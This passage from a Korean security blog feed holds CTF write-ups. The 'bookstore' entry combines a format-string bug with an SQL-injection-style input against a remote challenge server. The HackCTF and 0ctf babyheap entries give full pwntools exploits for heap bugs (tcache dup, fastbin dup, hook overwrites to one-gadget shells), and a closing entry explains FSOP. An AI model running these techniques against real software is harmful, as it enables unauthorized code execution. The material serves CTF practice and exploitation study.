&lt;p&gt;64bit fsb로 익스하면 됌.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;got가 덮으면 안따이길래 &lt;code&gt;__free_hook&lt;/code&gt;덮었다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *

#s = process(&amp;quot;bookstore&amp;quot;)
s = remote(&amp;quot;13.124.117.126&amp;quot;, 31337)
e = ELF(&amp;quot;bookstore&amp;quot;)


s.sendlineafter(&amp;quot;: \n&amp;quot;, &amp;quot;1&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, &amp;quot;asdf&amp;#39;, &amp;#39;asdf&amp;#39;, 2000000000); --&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, &amp;quot;asdf&amp;quot;)

s.sendlineafter(&amp;quot;: \n&amp;quot;, &amp;quot;2&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, &amp;quot;asdf&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, &amp;quot;asdf&amp;quot;)

s.sendlineafter(&amp;quot;: \n&amp;quot;, &amp;quot;3&amp;quot;)
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; \n&amp;quot;, &amp;quot;2&amp;quot;)

s.sendlineafter(&amp;quot;: &amp;quot;, &amp;quot;%2$p&amp;quot;)

s.recvline()
libc_base = int(s.recv(14), 16)-0x3ed8c0
print(hex(libc_base))

one_gadget = libc_base + 0x4f322

one_gadget_low = one_gadget &amp;amp; 0xffff
one_gadget_middle = (one_gadget &amp;gt;&amp;gt; 16) &amp;amp; 0xffff
one_gadget_high = (one_gadget &amp;gt;&amp;gt; 32) &amp;amp;0xffff

low = one_gadget_low

if one_gadget_middle &amp;gt; one_gadget_low:
        middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high &amp;gt; one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

payload2 = &amp;#39;&amp;#39;
payload2 += &amp;#39;%&amp;#39; + str(low)  +&amp;#39;c&amp;#39;
payload2 += &amp;#39;%&amp;#39;+&amp;#39;13&amp;#39;+&amp;#39;$hn&amp;#39;

payload2 += &amp;#39;%&amp;#39; + str(middle) + &amp;#39;c&amp;#39;
payload2 += &amp;#39;%&amp;#39;+&amp;#39;14&amp;#39;+&amp;#39;$hn&amp;#39;

payload2 += &amp;#39;%&amp;#39; + str(high) + &amp;#39;c&amp;#39;
payload2 += &amp;#39;%&amp;#39;+&amp;#39;15&amp;#39;+&amp;#39;$hn&amp;#39;

payload2 += &amp;#39;A&amp;#39; * (8 - len(payload2) % 8)
print(len(payload2))

k=libc_base + 0x3ed8e8

payload2 += p64(k)
payload2 += p64(k+2)
payload2 += p64(k+4)
payload2 += p64(0)*10
#raw_input()
s.sendlineafter(&amp;quot;&amp;gt;&amp;gt; \n&amp;quot;, &amp;quot;2&amp;quot;)
s.sendlineafter(&amp;quot;: &amp;quot;, payload2)

s.recvuntil(&amp;quot;&amp;gt;&amp;gt; &amp;quot;)
s.sendline(&amp;quot;3&amp;quot;)

s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;4&amp;quot;)
s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;&amp;quot;)
s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;&amp;quot;)
s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;&amp;quot;)

s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;3&amp;quot;)
s.sendline(&amp;quot;1&amp;quot;)
s.recvuntil(&amp;quot;:&amp;quot;)
s.sendline(&amp;quot;0&amp;quot;)

s.recvuntil(&amp;quot;sell: &amp;quot;)
s.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:~/hacking/ctf/grandpix/pwn2# python exploit.py 
[+] Opening connection to 13.124.117.126 on port 31337: Done
[*] &amp;#39;/root/hacking/ctf/grandpix/pwn2/bookstore&amp;#39;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f0746979000
40
[*] Switching to interactive mode
$ cd home/bookstore
$ cat flag
WhiteHat{d2c2652a7b0578d04bf43d7cd6eb5d9b4ed318e7}
$  
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>FSB</category>
      <category>pwnable</category>
      <category>SQLi</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/181</guid>
      <comments>https://baobob1024.tistory.com/181#entry181comment</comments>
      <pubDate>Wed, 8 Jan 2020 06:13:36 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-3] HackCTF 훈폰정음</title>
      <link>https://baobob1024.tistory.com/180</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;tcache dup&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;add
&lt;ul&gt;
&lt;li&gt;0~6까지 총 7개 할당가능.&lt;/li&gt;
&lt;li&gt;1024(0x400) 사이즈까지만 할당가능. (unsorted bin 사이즈의 할당이 불가능함. 그래서 tcache poisoning으로 size를 바꾸고 free해줘서 libc leak.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;edit
&lt;ul&gt;
&lt;li&gt;값을 수정할 수 있음.&lt;/li&gt;
&lt;li&gt;따로 초기화 하지 않아 delete이후에도 edit가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;delete
&lt;ul&gt;
&lt;li&gt;청크를 free해줌.&lt;/li&gt;
&lt;li&gt;따로 초기화 하지 않아 double free 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;check
&lt;ul&gt;
&lt;li&gt;청크 안에 값들을 보여줌.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Libc leak&lt;/h3&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;add(0, 32, &quot;&quot;)

delete(0)
delete(0)

check(0)

s.recvuntil(&quot;:&quot;)
heap_base=u64(s.recv(6)+&quot;\x00\x00&quot;)-0x260
print(hex(heap_base))

edit(0, p64(heap_base+600))
add(1, 32, &quot;&quot;)
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))

delete(0)
sleep(0.5)
check(0)

s.recvuntil(&quot;:&quot;)
s.recvuntil(&quot;:&quot;)
libc_base = u64(s.recv(6)+&quot;\x00\x00&quot;) - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;tcache 사이즈 할당.&lt;/li&gt;
&lt;li&gt;double free&lt;/li&gt;
&lt;li&gt;edit fd -&amp;gt; fd - 8위치로 (size 변경하기 위해)&lt;/li&gt;
&lt;li&gt;2번 alloc&lt;/li&gt;
&lt;li&gt;0x421로 변경됌.&lt;/li&gt;
&lt;li&gt;delete(0) -&amp;gt; unsorted bin에 들어감.&lt;/li&gt;
&lt;li&gt;main_arena + 88 leak 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스하다보면 결론적으로는 0~6개 모두 사용하게 돼서 malloc 실행을 못함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그래서 &lt;code&gt;__malloc_hook&lt;/code&gt;말고 &lt;code&gt;__free_hook&lt;/code&gt;을 덮음. exit 내부 덮어도 따여짐.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tcache bin&lt;/code&gt;은 &lt;code&gt;fastbin&lt;/code&gt; 과 다르게 size검사 루틴이 빠졌기 때문에 &lt;code&gt;__malloc_hook-35&lt;/code&gt;를 덮거나 하는 행위는 안해도 됨!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;또한 &lt;code&gt;tcache bin&lt;/code&gt;의 fd나 bk는 헤더를 가르키고 있지 않고 청크 데이터를 가르키고 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그냥 바로 &lt;code&gt;__free_hook&lt;/code&gt; 주소 fd에 적어주면 됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;덮는 과정을 요약하면 leak하는 과정과 비슷하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tcache dup 하면 됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dfb를 통해 재할당시 두 청크의 포인터를 같게 해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;fd를 &lt;code&gt;__free_hook&lt;/code&gt;의 주소로 변경한 뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__free_hook&lt;/code&gt;에 할당해주고 edit을 통해 &lt;code&gt;one_shot&lt;/code&gt; 적어주면 끝.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;erlang&quot;&gt;&lt;code&gt;from pwn import *

s = process(&quot;hunpwn&quot;)

#context.log_level = 'debug'
def add(idx, size, content):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;1&quot;)
    s.sendlineafter(&quot;\n&quot;, str(idx))
    s.sendlineafter(&quot;\n&quot;, str(size))
    s.sendlineafter(&quot;\n&quot;, content)

def edit(idx, content):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;2&quot;)
    s.sendlineafter(&quot;\n&quot;, str(idx))
    s.sendlineafter(&quot;\n&quot;, content)

def delete(idx):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;3&quot;)
    s.sendlineafter(&quot;\n&quot;, str(idx))

def check(idx):
    s.sendlineafter(&quot;&amp;gt;&amp;gt; &quot;, &quot;4&quot;)
    s.sendlineafter(&quot;\n&quot;, str(idx))

add(0, 32, &quot;&quot;)

delete(0)
delete(0)

check(0)

s.recvuntil(&quot;:&quot;)
heap_base=u64(s.recv(6)+&quot;\x00\x00&quot;)-0x260
print(hex(heap_base))

edit(0, p64(heap_base+600))
add(1, 32, &quot;&quot;)
add(2, 32, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))

delete(0)
sleep(0.5)
check(0)

s.recvuntil(&quot;:&quot;)
s.recvuntil(&quot;:&quot;)
libc_base = u64(s.recv(6)+&quot;\x00\x00&quot;) - 0x3ebca0
magic = libc_base + 0x4f322
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))

edit(2, p64(0x410))
add(4, 1024, &quot;&quot;)

delete(4)
delete(4)
edit(4, p64(free_hook))

add(5, 1024, &quot;&quot;)
add(6, 1024, &quot;&quot;)

edit(6, p64(magic))
delete(6)
s.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/HackCTF</category>
      <category>HackCTF</category>
      <category>hacking</category>
      <category>heap</category>
      <category>pwnable</category>
      <category>tcache</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/180</guid>
      <comments>https://baobob1024.tistory.com/180#entry180comment</comments>
      <pubDate>Sat, 4 Jan 2020 05:40:06 +0900</pubDate>
    </item>
    <item>
      <title>[pwnpwnpwn-2] 0ctf 2017 babyheap</title>
      <link>https://baobob1024.tistory.com/179</link>
      <description>&lt;p&gt;거의 2년전에 알았던 문젠데 이제야 풀다니..&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;main_arena+88(unsorted bin) leak&lt;/li&gt;
&lt;li&gt;fastbin duplicate&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;p&gt;분석을 해보면 mmap으로 매핑된 주소에서 힙 청크들을 관리한다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate&lt;ul&gt;
&lt;li&gt;size입력 받은 만큼 메모리 할당&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;fill&lt;ul&gt;
&lt;li&gt;할당 된 버퍼에 write 할 수 있다.&lt;/li&gt;
&lt;li&gt;size컨트롤이 가능해 heap overflow취약점이 발생한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;free&lt;ul&gt;
&lt;li&gt;메모리 해제&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;dump&lt;ul&gt;
&lt;li&gt;할당된 청크의 적힌 데이터를 볼 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Iibc leak&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;fastchunk 4개 할당(0x20)(idx 0~3)&lt;/li&gt;
&lt;li&gt;smallchunk 1개 할당(0x80)(idx 4)&lt;/li&gt;
&lt;li&gt;free(1)&lt;/li&gt;
&lt;li&gt;free(2)&lt;/li&gt;
&lt;li&gt;fill(0)에서 fastchunk(2)의 fd를 smallchunk의 위치로 1byte overflow&lt;/li&gt;
&lt;li&gt;fill(3)에서 overflow해 smallchunk의 size를 0x91에서 0x31로 overwrite&lt;/li&gt;
&lt;li&gt;alloc 2번 하면 idx 2가 smallchunk의 위치에 할당됨. (idx 2, idx 4가 같은 위치)&lt;/li&gt;
&lt;li&gt;fill(3)에서 overflow해 smallchunk의 size를 0x31에서 0x91로 overwrite&lt;/li&gt;
&lt;li&gt;chunk 하나를 더 allocate해서 idx 4를 프리해도 fd bk가 남아있을 수 있도록.(그냥 두면 스몰빈과 라지빈은 통합됨.)&lt;/li&gt;
&lt;li&gt;free(4) 이제 4의 위치에는 main_arena+88을 가르키는 fd와 bk가 있음.&lt;/li&gt;
&lt;li&gt;하지만 idx 2도 그 위치를 가르키고 있기때문에 dump(2)하면 libc leak 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;마찬가지로 bin을 잘 조작해서 &lt;code&gt;&amp;amp;__malloc_hook-35&lt;/code&gt; 위치에 0x68할당해주고 overwrite해주면 된다.&lt;/p&gt;
&lt;p&gt;시나리오는 다양해서 bin만 잘 조작하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;__malloc_hook-35&lt;/code&gt;에 덮는 이유는 fastbin 할당할 때 size검사를 하게 되는데 -35위치에 할당하면 size가 0x7f로 세팅되어있다.&lt;/p&gt;
&lt;p&gt;그래서 0x60이나 0x68 등으로 할당해주면 된다.&lt;/p&gt;
&lt;p&gt;( tcachebin은 size체크 루틴이 빠졌기 때문에 &amp;amp;__malloc_hook위치에 바로 할당해주면 될듯.)&lt;/p&gt;
&lt;p&gt;익스코드는 더럽지만 의식의 흐름대로 익스했다..&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *


p = process(&amp;quot;./babyheap&amp;quot;)
#context.log_level=&amp;#39;debug&amp;#39;
malloc_hook = 0x3c4b10

def alloc(size):
    p.recvuntil(&amp;quot;Command: &amp;quot;)
    p.sendline(&amp;quot;1&amp;quot;)
    p.recvuntil(&amp;quot;Size: &amp;quot;)
    p.sendline(str(size))

def fill(index,size,data):
    p.recvuntil(&amp;quot;Command: &amp;quot;)
    p.sendline(&amp;quot;2&amp;quot;)
    p.recvuntil(&amp;quot;Index: &amp;quot;)
    p.sendline(str(index))
    p.recvuntil(&amp;quot;Size: &amp;quot;)
    p.sendline(str(size))
    p.recvuntil(&amp;quot;Content: &amp;quot;)
    p.sendline(str(data))

def free(index):
    p.recvuntil(&amp;quot;Command: &amp;quot;)
    p.sendline(&amp;quot;3&amp;quot;)
    p.recvuntil(&amp;quot;Index: &amp;quot;)
    p.sendline(str(index))

def dump(index):
    p.recvuntil(&amp;quot;Command: &amp;quot;)
    p.sendline(&amp;quot;4&amp;quot;)
    p.recvuntil(&amp;quot;Index: &amp;quot;)
    p.sendline(str(index))

alloc(0x20) #0
alloc(0x20) #1
alloc(0x20) #2
alloc(0x20) #3
alloc(0x80) #4

free(1)
free(2)

payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)

fill(0,len(payload),payload)

payload = p64(0)*5
payload += p64(0x31)

fill(3, len(payload), payload)

alloc(0x20)
alloc(0x20) #same 2, 4

payload = p64(0)*5
payload += p64(0x91)

fill(3, len(payload), payload)

alloc(0x80) #5
alloc(0x80) #6
alloc(0x80) #7

free(4)
free(6)

dump(2)

p.recvline()

main_arena = u64(p.recv(8))
heap_base = u64(p.recv(8)) - 0x1e0

libc_base = main_arena - 0x3c4b78
print(hex(libc_base))
print(hex(heap_base))
one_shot = libc_base + 0x4526a
malloc_hook = libc_base + malloc_hook

alloc(0x80)
alloc(0x80)

alloc(0x68)#8
alloc(0x68)#9
alloc(0x68)#10

free(9)
free(10)

payload = p64(0)*13
payload += p64(0x71)
payload += p64(0)*13
payload += p64(0x71)
payload += p64(malloc_hook-35) #fd overwrite

fill(8, len(payload), payload)

alloc(0x68) #9
alloc(0x68) #10 #malloc_hook

payload = &amp;quot;\x00\x00\x00&amp;quot;+p64(0)*2+p64(one_shot)
fill(10, len(payload), payload) #one shot overwrite

alloc(0xffff)
p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>fastbin</category>
      <category>hacking</category>
      <category>heap</category>
      <category>pwnable</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/179</guid>
      <comments>https://baobob1024.tistory.com/179#entry179comment</comments>
      <pubDate>Fri, 3 Jan 2020 22:00:12 +0900</pubDate>
    </item>
    <item>
      <title>FSOP : File Stream Oriented Programming</title>
      <link>https://baobob1024.tistory.com/176</link>
      <description>&lt;h3&gt;Introduction&lt;/h3&gt;
&lt;p&gt;file struct 구조를 분석하여 &lt;code&gt;File Stream Oriented Programming&lt;/code&gt;에 대해 공부한 내용을 정리하려 한다.&lt;/p&gt;
&lt;h3&gt;Data Structure in File&lt;/h3&gt;
&lt;p&gt;먼저, file 구조체를 알아야한다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it&amp;#39;s too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libc에서, &lt;code&gt;__IO_FILE_&lt;/code&gt; 구조체들은 모두 &lt;code&gt;단일 연결 리스트&lt;/code&gt;로 연결 되어있다. &lt;/p&gt;
&lt;p&gt;포인터 &lt;code&gt;*_chain&lt;/code&gt;은  리스트의 다음 &lt;code&gt;__IO_FILE&lt;/code&gt;의 주소를 가지고 있다.&lt;/p&gt;
&lt;p&gt;연결 리스트의  꼭대기는 &lt;code&gt;__IO_list_all_&lt;/code&gt;에  저장된다.&lt;/p&gt;
&lt;p&gt;일반적으로 링크된 layout은 다음과 같다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x7f0cc0434500 &amp;lt;_IO_list_all&amp;gt;:    0x00007f0cc0434520  0x0000000000000000
0x7f0cc0434510: 0x0000000000000000  0x0000000000000000
0x7f0cc0434520 &amp;lt;_IO_2_1_stderr_&amp;gt;: 0x00000000fbad2087  0x00007f0cc04345a3
0x7f0cc0434530 &amp;lt;_IO_2_1_stderr_+16&amp;gt;:  0x00007f0cc04345a3  0x00007f0cc04345a3
0x7f0cc0434540 &amp;lt;_IO_2_1_stderr_+32&amp;gt;:  0x00007f0cc04345a3  0x00007f0cc04345a3
0x7f0cc0434550 &amp;lt;_IO_2_1_stderr_+48&amp;gt;:  0x00007f0cc04345a3  0x00007f0cc04345a3
0x7f0cc0434560 &amp;lt;_IO_2_1_stderr_+64&amp;gt;:  0x00007f0cc04345a4  0x0000000000000000
0x7f0cc0434570 &amp;lt;_IO_2_1_stderr_+80&amp;gt;:  0x0000000000000000  0x0000000000000000
0x7f0cc0434580 &amp;lt;_IO_2_1_stderr_+96&amp;gt;:  0x0000000000000000  0x00007f0cc0434600
0x7f0cc0434590 &amp;lt;_IO_2_1_stderr_+112&amp;gt;: 0x0000000000000002  0xffffffffffffffff
0x7f0cc04345a0 &amp;lt;_IO_2_1_stderr_+128&amp;gt;: 0x0000000000000000  0x00007f0cc0435750
0x7f0cc04345b0 &amp;lt;_IO_2_1_stderr_+144&amp;gt;: 0xffffffffffffffff  0x0000000000000000
0x7f0cc04345c0 &amp;lt;_IO_2_1_stderr_+160&amp;gt;: 0x00007f0cc0433640  0x0000000000000000
0x7f0cc04345d0 &amp;lt;_IO_2_1_stderr_+176&amp;gt;: 0x0000000000000000  0x0000000000000000
0x7f0cc04345e0 &amp;lt;_IO_2_1_stderr_+192&amp;gt;: 0x0000000000000000  0x0000000000000000
0x7f0cc04345f0 &amp;lt;_IO_2_1_stderr_+208&amp;gt;: 0x0000000000000000  0x00007f0cc0430400
0x7f0cc0434600 &amp;lt;_IO_2_1_stdout_&amp;gt;: 0x00000000fbad2887  0x00007f0cc0434683

//And the data of _IO_2_1_stderr_ can be interpreted as:
_flags = 0xfbad2087, 
_IO_read_ptr = 0x7f0cc04345a3, 
_IO_read_end = 0x7f0cc04345a3, 
_IO_read_base = 0x7f0cc04345a3, 
_IO_write_base = 0x7f0cc04345a3, 
_IO_write_ptr = 0x7f0cc04345a3, 
_IO_write_end = 0x7f0cc04345a3, 
_IO_buf_base = 0x7f0cc04345a3, 
_IO_buf_end = 0x7f0cc04345a4, 
_IO_save_base = 0x0, 
_IO_backup_base = 0x0, 
_IO_save_end = 0x0, 
_markers = 0x0, 
_chain = 0x7f0cc0434600,  //point to _IO_2_1_stdout_
_fileno = 0x2, 
_flags2 = 0x0, 
_old_offset = 0xffffffffffffffff, 
_cur_column = 0x0, 
_vtable_offset = 0x0, 
_shortbuf = {0x0}, 
_lock = 0x7f0cc0435750, 
_offset = 0xffffffffffffffff, 
_codecvt = 0x0, 
_wide_data = 0x7f0cc0433640, 
_freeres_list = 0x0, 
_freeres_buf = 0x0, 
__pad5 = 0x0, 
_mode = 0x0, 
_unused2 = {0x0 &amp;lt;repeats 20 times&amp;gt;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt; &lt;code&gt;_IO_FILE&lt;/code&gt;의 또 다른 중요한 구조체는 &lt;code&gt;__IO_FILE_plus_&lt;/code&gt;이다.&lt;/p&gt;
&lt;p&gt;이것은 vtable(구조체 &lt;code&gt;__IO_jump_t_&lt;/code&gt;와 같은) 을 유지시킨다. &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exploitation techniques&lt;/h3&gt;
&lt;p&gt;기본적인 부분만 정리를 해보려고 한다.&lt;br&gt;(심화 된 내용은 아래 레퍼런스를 참조.)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fp를 이용한 fsop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;File *fp;&lt;/code&gt; 의 값을 overwrite할 수 있다면, fake fp를 만들어 포인터 값을 옮기고  fake vtable으로 위치시켜 file stream 함수를 이용할때 프로그램의 실행 흐름을 control할 수 있다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ba0bab➤  x/50gx 0x602010
0x602010:    0x00000000fbad2488    0x0000000000000000
0x602020:    0x0000000000000000    0x0000000000000000
0x602030:    0x0000000000000000    0x0000000000000000
0x602040:    0x0000000000000000    0x0000000000000000
0x602050:    0x0000000000000000    0x0000000000000000
0x602060:    0x0000000000000000    0x0000000000000000
0x602070:    0x0000000000000000    0x00007ffff7dd2540
0x602080:    0x0000000000000003    0x0000000000000000
0x602090:    0x0000000000000000    0x00000000006020f0
0x6020a0:    0xffffffffffffffff    0x0000000000000000
0x6020b0:    0x0000000000602100    0x0000000000000000
0x6020c0:    0x0000000000000000    0x0000000000000000
0x6020d0:    0x0000000000000000    0x0000000000000000
0x6020e0:    0x0000000000000000    0x00007ffff7dd06e0
0x6020f0:    0x0000000000000000    0x0000000000000000
0x602100:    0x0000000000000000    0x0000000000000000
0x602110:    0x0000000000000000    0x0000000000000000
0x602120:    0x0000000000000000    0x0000000000000000
0x602130:    0x0000000000000000    0x0000000000000000
0x602140:    0x0000000000000000    0x0000000000000000
0x602150:    0x0000000000000000    0x0000000000000000
0x602160:    0x0000000000000000    0x0000000000000000
0x602170:    0x0000000000000000    0x0000000000000000
0x602180:    0x0000000000000000    0x0000000000000000
0x602190:    0x0000000000000000    0x0000000000000000
ba0bab➤  &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;fake fp구조체에서 &lt;code&gt;0x602098&lt;/code&gt;위치 (구조체에서 &lt;code&gt;_cur_column&lt;/code&gt;)에 0을 가르키고 있는 주소로 세팅해주고&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x6020e8&lt;/code&gt;위치(&lt;code&gt;_IO_file_jumps&lt;/code&gt;)에 fake vtable의 주소를 세팅해준다. &lt;/p&gt;
&lt;p&gt;그리고 이제 fake vtable(== fake _IO_file_jumps )에서 원하는 부분을 원하는 걸로 바꿔주면 된다.&lt;/p&gt;
&lt;p&gt;예를 들어서, 만약 &lt;code&gt;_IO_file_jumps&lt;/code&gt; 구조체 에서 &lt;code&gt;__GI__IO_file_close&lt;/code&gt;를 원샷이나 system으로 덮고 fclose(fp)를 콜하면 실행 될 것이다!&lt;/p&gt;
&lt;h3&gt;Reference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dangokyo.me/2018/01/01/advanced-heap-exploitation-file-stream-oriented-programming/&quot;&gt;https://dangokyo.me/2018/01/01/advanced-heap-exploitation-file-stream-oriented-programming/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;문서 좋은 것 같다! 더 공부해봐야겠다.&lt;/p&gt;</description>
      <category>pwnable/정리</category>
      <category>fsop</category>
      <category>pwnable</category>
      <category>해킹</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/176</guid>
